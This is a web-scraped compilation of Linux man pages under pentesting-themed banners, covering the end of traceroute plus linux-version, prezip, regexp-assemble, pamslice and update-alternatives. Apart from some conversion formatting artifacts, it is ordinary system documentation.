,addr,**addr… is allowed, where num is a route header type (default is type 2). Note the type 0 route header is now deprecated (rfc5095).

-i* interface***, –interface=**interface
Specifies the interface through which traceroute should send packets. By default, the interface is selected according to the routing table.

-m* max_ttl***, –max-hops=**max_ttl
Specifies the maximum number of hops (max time-to-live value) traceroute will probe. The default is 30.

-N* squeries***, –sim-queries=**squeries
Specifies the number of probe packets sent out simultaneously. Sending several probes concurrently can speed up traceroute considerably. The default value is 16.
Note that some routers and hosts can use ICMP rate throttling. In such a situation specifying too large number can lead to loss of some responses.

-n
Do not try to map IP addresses to host names when displaying them.

-p* port***, –port=**port
For UDP tracing, specifies the destination port base traceroute will use (the destination port number will be incremented by each probe).
For ICMP tracing, specifies the initial ICMP sequence value (incremented by each probe too).
For TCP and others specifies just the (constant) destination port to connect. When using the tcptraceroute wrapper, -p specifies the source port.

-t* tos***, –tos=**tos
For IPv4, set the Type of Service (TOS) and Precedence value. Useful values are 16 (low delay) and 8 (high throughput). Note that in order to use some TOS precedence values, you have to be super user.
For IPv6, set the Traffic Control value.

-l* flow_label***, –flowlabel=**flow_label
Use specified flow_label for IPv6 packets.

-w* max[*,here,near], –wait=*max[,here,*near]
Determines how long to wait for a response to a probe.

There are three (in general) float values separated by a comma (or a slash). Max specifies the maximum time (in seconds, default 5.0) to wait, in any case.

Traditional traceroute implementation always waited whole max seconds for any probe. But if we already have some replies from the same hop, or even from some next hop, we can use the round trip time of such a reply as a hint to determine the actual reasonable amount of time to wait.

The optional here (default 3.0) specifies a factor to multiply the round trip time of an already received response from the same hop. The resulting value is used as a timeout for the probe, instead of (but no more than) max. The optional near (default 10.0) specifies a similar factor for a response from some next hop. (The time of the first found result is used in both cases).

First, we look for the same hop (of the probe which will be printed first from now). If nothing found, then look for some next hop. If nothing found, use max. If here and/or near have zero values, the corresponding computation is skipped.
Here and near are always set to zero if only max is specified (for compatibility with previous versions).

-q* nqueries***, –queries=**nqueries
Sets the number of probe packets per hop. The default is 3.

-r
Bypass the normal routing tables and send directly to a host on an attached network. If the host is not on a directly-attached network, an error is returned. This option can be used to ping a local host through an interface that has no route through it.

-s* source_addr***, –source=**source_addr
Chooses an alternative source address. Note that you must select the address of one of the interfaces. By default, the address of the outgoing interface is used.

-z* sendwait***, –sendwait=**sendwait
Minimal time interval between probes (default 0). If the value is more than 10, then it specifies a number in milliseconds, else it is a number of seconds (float point values allowed too). Useful when some routers use rate-limit for ICMP messages.

-e, –extensions
Show ICMP extensions (rfc4884). The general form is CLASS*/TYPE:*** followed by a hexadecimal dump. The MPLS (rfc4950) is shown parsed, in a form: MPLS:L=label,E=exp_use,S=stack_bottom,T=TTL (more objects separated by / ). The Interface Information (rfc5837) is shown parsed as well, in a following form: {INC|SUB|OUT|NXT}:index,IP_addr,"name",mtu=MTU (all four fields may be missing).

-A, –as-path-lookups
Perform AS path lookups in routing registries and print results directly after the corresponding addresses.

-V, –version
Print the version and exit.

There are additional options intended for advanced usage (such as alternate trace methods etc.):

–sport=port
Chooses the source port to use. Implies -N 1 -w 5 . Normally source ports (if applicable) are chosen by the system.

–fwmark=mark
Set the firewall mark for outgoing packets (since the Linux kernel 2.6.25).

-M* method***, –module=name
Use specified method for traceroute operations. Default traditional udp method has name default, icmp (
-I**)" and tcp (-T)" have names icmp and tcp respectively.
Method-specific options can be passed by -O . Most methods have their simple shortcuts, (-I means -M icmp, etc).

-O* option***, –options=**options
Specifies some method-specific option. Several options are separated by comma (or use several -O on cmdline). Each method may have its own specific options, or many not have them at all. To print information about available options, use -O help.

-U, –udp
Use UDP to particular destination port for tracerouting (instead of increasing the port per each probe). Default port is 53 (dns).

-UL
Use UDPLITE for tracerouting (default port is 53).

-D, –dccp
Use DCCP Requests for probes.

-P* protocol***, –protocol=**protocol
Use raw packet of specified protocol for tracerouting. Default protocol is 253 (rfc3692).

–mtu
Discover MTU along the path being traced. Implies -F -N 1. New mtu is printed once in a form of F=NUM at the first probe of a hop which requires such mtu to be reached. (Actually, the correspond “frag needed” icmp message normally is sent by the previous hop).

Note, that some routers might cache once the seen information on a fragmentation. Thus you can receive the final mtu from a closer hop. Try to specify an unusual tos by -t , this can help for one attempt (then it can be cached there as well).
See -F option for more info.

–back
Print the number of backward hops when it seems different with the forward direction. This number is guessed in assumption that remote hops send reply packets with initial ttl set to either 64, or 128 or 255 (which seems a common practice). It is printed as a negate value in a form of ‘-NUM’ .

LIST OF AVAILABLE METHODS

In general, a particular traceroute method may have to be chosen by -M name, but most of the methods have their simple cmdline switches (you can see them after the method name, if present).

default

The traditional, ancient method of tracerouting. Used by default.

Probe packets are udp datagrams with so-called “unlikely” destination ports. The “unlikely” port of the first probe is 33434, then for each next probe it is incremented by one. Since the ports are expected to be unused, the destination host normally returns “icmp unreach port” as a final response. (Nobody knows what happens when some application listens for such ports, though).

This method is allowed for unprivileged users.

icmp -I

Most usual method for now, which uses icmp echo packets for probes.
If you can ping(8) the destination host, icmp tracerouting is applicable as well.

This method may be allowed for unprivileged users since the kernel 3.0 (IPv4, for IPv6 since 3.11), which supports new dgram icmp (or “ping”) sockets. To allow such sockets, sysadmin should provide net/ipv4/ping_group_range sysctl range to match any group of the user.
Options:

raw
Use only raw sockets (the traditional way).
This way is tried first by default (for compatibility reasons), then new dgram icmp sockets as fallback.

dgram
Use only dgram icmp sockets.

tcp -T

Well-known modern method, intended to bypass firewalls.
Uses the constant destination port (default is 80, http).

If some filters are present in the network path, then most probably any “unlikely” udp ports (as for default method) or even icmp echoes (as for icmp) are filtered, and whole tracerouting will just stop at such a firewall. To bypass a network filter, we have to use only allowed protocol/port combinations. If we trace for some, say, mailserver, then more likely -T -p 25 can reach it, even when -I can not.

This method uses well-known “half-open technique”, which prevents applications on the destination host from seeing our probes at all. Normally, a tcp syn is sent. For non-listened ports we receive tcp reset, and all is done. For active listening ports we receive tcp syn+ack, but answer by tcp reset (instead of expected tcp ack), this way the remote tcp session is dropped even without the application ever taking notice.

There is a couple of options for tcp method:

syn,ack,fin,rst,psh,urg,ece,cwr
Sets specified tcp flags for probe packet, in any combination.

flags=num
Sets the flags field in the tcp header exactly to num.

ecn
Send syn packet with tcp flags ECE and CWR (for Explicit Congestion Notification, rfc3168).

sack,timestamps,window_scaling
Use the corresponding tcp header option in the outgoing probe packet.

sysctl
Use current sysctl (/proc/sys/net/*) setting for the tcp header options above and ecn. Always set by default, if nothing else specified.

fastopen
Use fastopen tcp option (when syn), for initial cookie negotiation only.

mss=[num]
Use value of num (or unchanged) for maxseg tcp header option (when syn), and discover its clamping along the path being traced. New changed mss is printed once in a form of M=NUM at the first probe on which it was detected. Note, some routers may return too short original fragment in the time exceeded message, making the check impossible. Besides that the responses may come in a different order. All this can lead to a later place of the report (using -N 1 can help for the order).

info
Print tcp flags and supported options of final tcp replies when the target host is reached. Allows to determine whether an application listens the port and other useful things. Supported tcp options are all that can be set by -T -O, ie. mss, sack, timestamps, window_scaling and fastopen, with the similar output format (a value for mss and just presence for others).

Default options is syn,sysctl.

tcpconn

An initial implementation of tcp method, simple using connect(2) call, which does full tcp session opening. Not recommended for normal use, because a destination application is always affected (and can be confused).

udp -U

Use udp datagram with constant destination port (default 53, dns).
Intended to bypass firewall as well.

Note, that unlike in tcp method, the correspond application on the destination host always receive our probes (with random data), and most can easily be confused by them. Most cases it will not respond to our packets though, so we will never see the final hop in the trace. (Fortunately, it seems that at least dns servers replies with something angry).

This method is allowed for unprivileged users.

udplite -UL

Use udplite datagram for probes (with constant destination port, default 53).

This method is allowed for unprivileged users.
Options:

coverage=num
Set udplite send coverage to num.

dccp -D

Use DCCP Request packets for probes (rfc4340).

This method uses the same “half-open technique” as used for TCP. The default destination port is 33434.

Options:

service=num
Set DCCP service code to num (default is 1885957735).

raw -P proto

Send raw packet of protocol proto.
No protocol-specific headers are used, just IP header only.
Implies -N 1 -w 5 .
Options:

protocol=proto
Use IP protocol proto (default 253).

NOTES

To speed up work, normally several probes are sent simultaneously. On the other hand, it creates a “storm of packages”, especially in the reply direction. Routers can throttle the rate of icmp responses, and some of replies can be lost. To avoid this, decrease the number of simultaneous probes, or even set it to 1 (like in initial traceroute implementation), i.e. -N 1

The final (target) host can drop some of the simultaneous probes, and might even answer only the latest ones. It can lead to extra “looks like expired” hops near the final hop. We use a smart algorithm to auto-detect such a situation, but if it cannot help in your case, just use -N 1 too.

For even greater stability you can slow down the program’s work by -z option, for example use -z 0.5 for half-second pause between probes.

To avoid an extra waiting, we use adaptive algorithm for timeouts (see -w option for more info). It can lead to premature expiry (especially when response times differ at times) and printing “*” instead of a time. In such a case, switch this algorithm off, by specifying -w with the desired timeout only (for example, -w 5).

If some hops report nothing for every method, the last chance to obtain something is to use ping -R command (IPv4, and for nearest 8 hops only).

SEE ALSO

ping(8), ping6(8), tcpdump(8), netstat(8)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

845 - Linux cli command linux-version

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command linux-version and provides detailed information about the command linux-version, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the linux-version.

NAME 🖥️ linux-version 🖥️

version - operate on Linux kernel version strings

SYNOPSIS

linux-version compare* VERSION1 OP VERSION2*

linux-version sort [–reverse] [VERSION1 VERSION2 …]

linux-version list [–paths]

DESCRIPTION

linux-version operates on Linux kernel version strings as reported by uname -r and used in file and directory names. These version strings do not follow the same rules as Debian package version strings and should not be compared as such or as arbitrary strings.

compare* VERSION1 OP VERSION2*
Compare version strings, where OP is a binary operator. linux-version returns success (zero result) if the specified condition is satisfied, and failure (nonzero result) otherwise. The valid operators are: lt le eq ne ge gt

sort [–reverse] [VERSION1 VERSION2 …]
Sort the given version strings and print them in order from lowest to highest. If the –reverse option is used, print them in order from highest to lowest.

If no version strings are given as arguments, the version strings will instead be read from standard input, one per line. They may be suffixed by arbitrary text after a space, which will be included in the output. This means that, for example:

linux-version list --paths | linux-version sort --reverse

will list the installed versions and corresponding paths in order from highest to lowest version.

list [–paths]
List kernel versions installed in the customary location. If the –paths option, show the corresponding path for each version.

AUTHOR

linux-version and this manual page were written by Ben Hutchings as part of the Debian linux-base package.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

846 - Linux cli command prezip

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command prezip and provides detailed information about the command prezip, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the prezip.

NAME 🖥️ prezip 🖥️

prefix delta compressor for Aspell

SYNOPSIS

precat [-dzhLV] [-cfksSq] [file …]

DESCRIPTION

prezip is a a prefix delta compressor. It is not a general purpose compressor and should only be used on sorted word lists or other similar text files. It will likely increase the size of binary data.

If invoked as prezip, the default action is to compress. If invoked as preunzip, the default action is to decompress. If invoked as precat, the default action is to decompress to stdout.

If no file names are given then prezip will compress or decompress from the standard input to the standard output. Short flags can be combined so that “-c -s” is the same as “-cs”.

OPTIONS

-h –help
display help

-d –decompress
force decompression

-z –compress
dorce compression

-L –license
display software license

-V –version
display version

-c –stdout
decompress to standard output

-f –force
force

-k –keep
keep input files

-s –sort
sort and remove duplicates before compressing

-S –nocwl
do not rename .wl suffix to .cwl (use .wl.pz instead)

-q –quiet
suppress all warnings

AUTHOR

This manual page was written by Brian Nelson <[email protected]> based on the output of help2man. Aspell is Copyright © 2002 Kevin Atkinson.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

847 - Linux cli command regexp-assemblep

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command regexp-assemblep and provides detailed information about the command regexp-assemblep, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the regexp-assemblep.

NAME 🖥️ regexp-assemblep 🖥️

assemble - Assemble a list of regular expressions from a file

SYNOPSIS

regexp-assemble -abcdfinprsStTuUvw file […]

DESCRIPTION

Assemble a list of regular expression either from standard input or a file, using the Regexp::Assemble module.

OPTIONS

-a
look Ahead. Insert (?=...) zero-width lookahead assertions in the pattern, where necessary.

-b
Blank. Ignore blank lines.

-c
Comment. Basic comment filtering. Strip off perl/shell comments (\s*#.*$/).

-d
Debug. Turns on debugging output. See Regexp::Assemble for suitable values.

-i
Indent. Print the regular expression using and indent of n to display nesting. A.k.a pretty-printing. Implies -p.

-n
No newline. Do not print a newline after the pattern. Useful when interpolating the output into a templating system or similar.

-p
Print. Print the pattern. This is the default, however, it is required when the -t switch is enabled (because if you want to test patterns ordinarily you don’t care what the the assembled pattern looks like).

-r
Reduce. The default behaviour is to reduce the assembled pattern. Enabling this switch causes the reduction algorithm to be switched off. This can help you determine how much reduction is performed. regexp-assemble pattern.file | wc # versus regexp-assemble -r pattern.file | wc

-s
Statistics. Print some statistics about the assembled pattern. The output is sent to STDERR (in order to allow the generated pattern to be redirected elsewhere).

-S
Statistics only. Like -s, except that the pattern itself is not output. Useful with -d 8 to see the time taken.

-t
Test. Test the assembled expression against the contents of a file. Each line is read from the file and is matched against the pattern. Lines that fail to match are printed. In other words, no output is good output. In this mode of operation, error status is 1 in the case of a failure, 0 if all lines matched.

-T
Time. Print statistics on the time taken to reduce and assemble the pattern. (This is merely a lazy person’s synonym for -d 8).

-u
Unique. Carp if duplicate patterns are found.

-U
Unroll. Transform a+ et al into aa* (which may allow additional reductions).

-v
Version. Print the version of the regexp-assemble script.

-w
Word/Whole. When testing the contents of a file with -t, bracket the expression with ^ and $ in order to match the whole word or line from the file.

DIAGNOSTICS

Will print out a summary of the problem if an added pattern causes the assembly to fail.

SEE ALSO

Regexp::Assemble

AUTHOR

Copyright (C) 2004-2008 David Landgren. All rights reserved.

LICENSE

This script is free software; you can redistribute it and/or modify it under the same terms as Perl itself.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

848 - Linux cli command pamslice

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamslice and provides detailed information about the command pamslice, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamslice.

.

NAME 🖥️ pamslice 🖥️

extract one line of values out of a Netpbm image

SYNOPSIS

pamslice {**-row=**rownumber | **-column=columnnumber} [-plane=**planenumber] [imagefile]

OPTION USAGE

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one. You may separate an option name and its value with white space instead of an equals sign.

DESCRIPTION

This program is part of Netpbm(1) .

pamslice extracts one line of tuples (pixels) out of a Netpbm image and prints their values in a table. A line means a row or column. It shows you a one-dimensional cross section of a two-dimensional image. (With the -plane option, it can be thought of as a one-dimensional cross-section of a three-dimensional image).

The table has one line per tuple, consisting of blank-separated ASCII decimal numbers. The first number is the column number if you specified a row slice or the row number if you specified a column slice. The rest of the numbers are the sample values in plane number order. For a PBM or PGM input, there is only one plane. For a PPM input, Plane 0 is red, Plane 1 is green, and Plane 2 is blue. See the specifications of the image formats for details on exactly what these numbers mean.

If you want to see the entire raster of a Netpbm image, use pamtable.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamslice recognizes the following command line options:

**-row=**rownumber
This indicates that the slice is to be horizontal – i.e. one row of the image – and indicates which row. Rows are numbered from the top starting with 0.

You cannot specify both -row and -column.

**-column=**colnumber
This indicates that the slice is to be vertical – i.e. one column of the image – and indicates which column. Columns are numbered from the left starting with 0.

You cannot specify both -row and -column.

**-plane=**planenumber
This specifies that you are interested in only one plane of the image and which one. Planes are numbered from 0 and have meanings that vary on the type of image. In a PPM image, Plane 0 is red, Plane 1 is green, and Plane 2 is blue.

If you don’t specify -plane, you get all the planes – each line of output has multiple numbers in addition to the sequence number. If you do specify -plane, each line of output contains one number in addition to the sequence number.

-xmgr
This option causes pamslice to format the output as input for a xmgr so you can plot it. The only difference this option makes is that it adds header information to the beginning of the output.

SEE ALSO

pamtable(1) pamcut(1) pamtopnm(1) pamchannel(1) pnm(1)

HISTORY

pamslice replaced pgmslice in Netpbm 10.3 (June 2002). It was backward compatible, but worked on Netpbm images other than PGM and PBM and added the -plane and -xmgr options.

AUTHOR

Jos Dingjan <[email protected]> wrote pgmslice after being unable to find the source code to Marco Beijersbergen’s program with the same name. Bryan Henderson converted it to pamslice.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamslice.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

849 - Linux cli command update-alternatives

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command update-alternatives and provides detailed information about the command update-alternatives, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the update-alternatives.

NAME 🖥️ update-alternatives 🖥️

alternatives - maintain symbolic links determining default commands

SYNOPSIS

update-alternatives [option…] command

DESCRIPTION

update-alternatives creates, removes, maintains and displays information about the symbolic links comprising the alternatives system.

It is possible for several programs fulfilling the same or similar functions to be installed on a single system at the same time. For example, many systems have several text editors installed at once. This gives choice to the users of a system, allowing each to use a different editor, if desired, but makes it difficult for a program to make a good choice for an editor to invoke if the user has not specified a particular preference.

The alternatives system aims to solve this problem. A generic name in the filesystem is shared by all files providing interchangeable functionality. The alternatives system and the system administrator together determine which actual file is referenced by this generic name. For example, if the text editors ed (1) and nvi (1) are both installed on the system, the alternatives system will cause the generic name /usr/bin/editor to refer to /usr/bin/nvi by default. The system administrator can override this and cause it to refer to /usr/bin/ed instead, and the alternatives system will not alter this setting until explicitly requested to do so.

The generic name is not a direct symbolic link to the selected alternative. Instead, it is a symbolic link to a name in the alternatives directory, which in turn is a symbolic link to the actual file referenced. This is done so that the system administrator’s changes can be confined within the /etc directory: the FHS (q.v.) gives reasons why this is a Good Thing.

When each package providing a file with a particular functionality is installed, changed or removed, update-alternatives is called to update information about that file in the alternatives system. update-alternatives is usually called from the following Debian package maintainer scripts, postinst (configure) to install the alternative and from prerm and postrm (remove) to remove the alternative. Note: in most (if not all) cases no other maintainer script actions should call update-alternatives, in particular neither of upgrade nor disappear, as any other such action can lose the manual state of an alternative, or make the alternative temporarily flip-flop, or completely switch when several of them have the same priority.

It is often useful for a number of alternatives to be synchronized, so that they are changed as a group; for example, when several versions of the vi (1) editor are installed, the manual page referenced by /usr/share/man/man1/vi.1 should correspond to the executable referenced by /usr/bin/vi. update-alternatives handles this by means of master and slave links; when the master is changed, any associated slaves are changed too. A master link and its associated slaves make up a link group.

Each link group is, at any given time, in one of two modes: automatic or manual. When a group is in automatic mode, the alternatives system will automatically decide, as packages are installed and removed, whether and how to update the links. In manual mode, the alternatives system will retain the choice of the administrator and avoid changing the links (except when something is broken).

Link groups are in automatic mode when they are first introduced to the system. If the system administrator makes changes to the system’s automatic settings, this will be noticed the next time update-alternatives is run on the changed link’s group, and the group will automatically be switched to manual mode.

Each alternative has a priority associated with it. When a link group is in automatic mode, the alternatives pointed to by members of the group will be those which have the highest priority.

When using the –config option, update-alternatives will list all of the choices for the link group of which given name is the master alternative name. The current choice is marked with a ‘*’. You will then be prompted for your choice regarding this link group. Depending on the choice made, the link group might no longer be in auto mode. You will need to use the –auto option in order to return to the automatic mode (or you can rerun –config and select the entry marked as automatic).

If you want to configure non-interactively you can use the –set option instead (see below).

Different packages providing the same file need to do so cooperatively. In other words, the usage of update-alternatives is mandatory for all involved packages in such case. It is not possible to override some file in a package that does not employ the update-alternatives mechanism.

TERMINOLOGY

Since the activities of update-alternatives are quite involved, some specific terms will help to explain its operation.

generic name (or alternative link)
A name, like /usr/bin/editor, which refers, via the alternatives system, to one of a number of files of similar function.

alternative name
The name of a symbolic link in the alternatives directory.

alternative (or alternative path)
The name of a specific file in the filesystem, which may be made accessible via a generic name using the alternatives system.

alternatives directory
A directory, by default /etc/alternatives, containing the symlinks.

administrative directory
A directory, by default /var/lib/dpkg/alternatives, containing update-alternatives’ state information.

link group
A set of related symlinks, intended to be updated as a group.

master link
The alternative link in a link group which determines how the other links in the group are configured.

slave link
An alternative link in a link group which is controlled by the setting of the master link.

automatic mode
When a link group is in automatic mode, the alternatives system ensures that the links in the group point to the highest priority alternative appropriate for the group.

manual mode
When a link group is in manual mode, the alternatives system will not make any changes to the system administrator’s settings.

COMMANDS

–install link name path priority [–slave link name path]…
Add a group of alternatives to the system. link is the generic name for the master link, name is the name of its symlink in the alternatives directory, and path is the alternative being introduced for the master link. The arguments after –slave are the generic name, symlink name in the alternatives directory and the alternative path for a slave link. Zero or more –slave options, each followed by three arguments, may be specified. Note that the master alternative must exist or the call will fail. However if a slave alternative doesn’t exist, the corresponding slave alternative link will simply not be installed (a warning will still be displayed). If some real file is installed where an alternative link has to be installed, it is kept unless –force is used. If the alternative name specified exists already in the alternatives system’s records, the information supplied will be added as a new set of alternatives for the group. Otherwise, a new group, set to automatic mode, will be added with this information. If the group is in automatic mode, and the newly added alternatives’ priority is higher than any other installed alternatives for this group, the symlinks will be updated to point to the newly added alternatives.

–set name path
Set the program path as alternative for name. This is equivalent to –config but is non-interactive and thus scriptable.

–remove name path
Remove an alternative and all of its associated slave links. name is a name in the alternatives directory, and path is an absolute filename to which name could be linked. If name is indeed linked to path, name will be updated to point to another appropriate alternative (and the group is put back in automatic mode), or removed if there is no such alternative left. Associated slave links will be updated or removed, correspondingly. If the link is not currently pointing to path, no links are changed; only the information about the alternative is removed.

–remove-all name
Remove all alternatives and all of their associated slave links. name is a name in the alternatives directory.

–all
Call –config on all alternatives. It can be usefully combined with –skip-auto to review and configure all alternatives which are not configured in automatic mode. Broken alternatives are also displayed. Thus a simple way to fix all broken alternatives is to call yes ’’ | update-alternatives –force –all.

–auto name
Switch the link group behind the alternative for name to automatic mode. In the process, the master symlink and its slaves are updated to point to the highest priority installed alternatives.

–display name
Display information about the link group. Information displayed includes the group’s mode (auto or manual), the master and slave links, which alternative the master link currently points to, what other alternatives are available (and their corresponding slave alternatives), and the highest priority alternative currently installed.

–get-selections
List all master alternative names (those controlling a link group) and their status (since version 1.15.0). Each line contains up to 3 fields (separated by one or more spaces). The first field is the alternative name, the second one is the status (either auto or manual), and the last one contains the current choice in the alternative (beware: it’s a filename and thus might contain spaces).

–set-selections
Read configuration of alternatives on standard input in the format generated by –get-selections and reconfigure them accordingly (since version 1.15.0).

–query name
Display information about the link group like –display does, but in a machine parseable way (since version 1.15.0, see section “QUERY FORMAT” below).

–list name
Display all targets of the link group.

–config name
Show available alternatives for a link group and allow the user to interactively select which one to use. The link group is updated.

–help
Show the usage message and exit.

–version
Show the version and exit.

OPTIONS

–altdir directory
Specifies the alternatives directory, when this is to be different from the default. Defaults to «/etc/alternatives».

–admindir directory
Specifies the administrative directory, when this is to be different from the default. Defaults to «/var/lib/dpkg/alternatives» if DPKG_ADMINDIR has not been set.

–instdir directory
Specifies the installation directory where alternatives links will be created (since version 1.20.1). Defaults to «/» if DPKG_ROOT has not been set.

–root directory
Specifies the root directory (since version 1.20.1). This also sets the alternatives, installation and administrative directories to match. Defaults to «/» if DPKG_ROOT has not been set.

–log file
Specifies the log file (since version 1.15.0), when this is to be different from the default (/var/log/alternatives.log).

–force
Allow replacing or dropping any real file that is installed where an alternative link has to be installed or removed.

–skip-auto
Skip configuration prompt for alternatives which are properly configured in automatic mode. This option is only relevant with –config or –all.

–quiet
Do not generate any comments unless errors occur.

–verbose
Generate more comments about what is being done.

–debug
Generate even more comments, helpful for debugging, about what is being done (since version 1.19.3).

EXIT STATUS

  1. The requested action was successfully performed.

  2. Problems were encountered whilst parsing the command line or performing the action.

ENVIRONMENT

DPKG_ROOT
If set and the –instdir or –root options have not been specified, it will be used as the filesystem root directory.

DPKG_ADMINDIR
If set and the –admindir option has not been specified, it will be used as the base administrative directory.

FILES

/etc/alternatives/
The default alternatives directory. Can be overridden by the –altdir option.

/var/lib/dpkg/alternatives/
The default administration directory. Can be overridden by the –admindir option.

QUERY FORMAT

The –query format is using an RFC822-like flat format. It’s made of n + 1 stanzas where n is the number of alternatives available in the queried link group. The first stanza contains the following fields:

Name: name
The alternative name in the alternative directory.

Link: link
The generic name of the alternative.

Slaves: list-of-slaves
When this field is present, the next lines hold all slave links associated to the master link of the alternative. There is one slave per line. Each line contains one space, the generic name of the slave alternative, another space, and the path to the slave link.

Status: status
The status of the alternative (auto or manual).

Best: best-choice
The path of the best alternative for this link group. Not present if there is no alternatives available.

Value: currently-selected-alternative
The path of the currently selected alternative. It can also take the magic value none. It is used if the link doesn’t exist.

The other stanzas describe the available alternatives in the queried link group:

Alternative: path-of-this-alternative
Path to this stanza’s alternative.

Priority: priority-value
Value of the priority of this alternative.

Slaves: list-of-slaves
